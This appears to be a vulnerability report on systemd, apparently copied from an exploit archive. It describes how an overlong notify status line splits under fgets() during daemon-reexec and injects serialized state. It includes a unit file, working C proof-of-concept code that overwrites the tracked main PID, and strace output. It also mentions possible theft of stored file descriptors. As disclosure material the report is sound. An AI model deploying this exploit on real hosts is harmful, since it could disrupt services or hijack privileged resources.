systemd – ‘reexec’ State Injection
/* [I am sending this bug report to Ubuntu, even though it's an upstream bug, as requested at https://github.com/systemd/systemd/blob/master/docs/CONTRIBUTING.md#security-vulnerability-reports .] When systemd re-executes (e.g. during a package upgrade), state is serialized into a memfd before the execve(), then reloaded after the execve(). Serialized data is stored as text, with key-value pairs separated by newlines. Values are escaped to prevent control character injection. Lines associated with a systemd unit are read in unit_deserialize() using fgets(): char line[LINE_MAX], *l, *v; [...] if (!fgets(line, sizeof(line), f)) { if (feof(f)) return 0; return -errno; } LINE_MAX is 2048: /usr/include/bits/posix2_lim.h:#define LINE_MAX _POSIX2_LINE_MAX /usr/include/bits/posix2_lim.h:#define _POSIX2_LINE_MAX 2048 When fgets() encounters overlong input, it behaves dangerously. If a line is more than 2047 characters long, fgets() will return the first 2047 characters and leave the read cursor in the middle of the overlong line. Then, when fgets() is called the next time, it continues to read data from offset 2047 in the line as if a new line started there. Therefore, if an attacker can inject an overlong value into the serialized state somehow, it is possible to inject extra key-value pairs into the serialized state. A service that has `NotifyAccess != none` can send a status message to systemd that will be stored as a property of the service. When systemd re-executes, this status message is stored under the key "status-text". Status messages that are sent to systemd are received by manager_dispatch_notify_fd(). This function has a receive buffer of size NOTIFY_BUFFER_MAX==PIPE_BUF==4096. Therefore, a service with `NotifyAccess != none` can trigger this bug. Reproducer: Create a simple service with NotifyAccess by copying the following text into /etc/systemd/system/notify_test.service (assuming that your home directory is /home/user): ========= [Unit] Description=jannh test service for systemd notifications [Service] Type=simple NotifyAccess=all FileDescriptorStoreMax=100 User=user ExecStart=/home/user/test_service Restart=always [Install] WantedBy=multi-user.target ========= Create a small binary that sends an overlong status when it starts up: ========= */ user@ubuntu-18-04-vm:~$ cat test_service.c #define _GNU_SOURCE #include <unistd.h> #include <sys/socket.h> #include <sys/un.h> #include <err.h> #include <signal.h> #include <stdio.h> int main(void) { int sock = socket(AF_UNIX, SOCK_DGRAM, 0); if (sock == -1) err(1, "socket"); struct sockaddr_un addr = { .sun_family = AF_UNIX, .sun_path = "/run/systemd/notify" }; if (connect(sock, (struct sockaddr *)&addr, sizeof(addr))) err(1, "connect"); char message[0x2000] = "STATUS="; memset(message+7, 'X', 2048-1-12); strcat(message, "main-pid=13371337"); struct iovec iov = { .iov_base = message, .iov_len = strlen(message) }; union { struct cmsghdr cmsghdr; char buf[CMSG_SPACE(sizeof(struct ucred))]; } control = { .cmsghdr = { .cmsg_level = SOL_SOCKET, .cmsg_type = SCM_CREDENTIALS, .cmsg_len = CMSG_LEN(sizeof(struct ucred)) }}; struct ucred *ucred = (void*)(control.buf + CMSG_ALIGN(sizeof(struct cmsghdr))); ucred->pid = getpid(); ucred->uid = getuid(); ucred->gid = getgid(); struct msghdr msghdr = { .msg_iov = &iov, .msg_iovlen = 1, .msg_control = &control, .msg_controllen = sizeof(control) }; if (sendmsg(sock, &msghdr, 0) != strlen(message)) err(1, "sendmsg"); while (1) pause(); } /* user@ubuntu-18-04-vm:~$ gcc -o test_service test_service.c user@ubuntu-18-04-vm:~$ ========= Install the service, and start it. Then run strace against systemd, and run: ========= root@ubuntu-18-04-vm:~# systemctl daemon-reexec root@ubuntu-18-04-vm:~# systemctl stop notify_test.service ========= The "stop" command hangs, and you'll see the following in strace: ========= root@ubuntu-18-04-vm:~# strace -p1 2>&1 | grep 13371337 openat(AT_FDCWD, "/proc/13371337/stat", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory) kill(13371337, SIG_0) = -1 ESRCH (No such process) kill(13371337, SIGTERM) = -1 ESRCH (No such process) ========= This demonstrates that systemd's representation of the service's PID was clobbered by the status message. This can in theory, depending on how the active services are configured and some other things, also be used to e.g. steal file descriptors that other services have stored in systemd (visible in the serialized representation as "fd-store-fd"). This isn't the only place in systemd that uses fgets(); other uses of fgets() should probably also be audited and potentially replaced with a safer function. */ |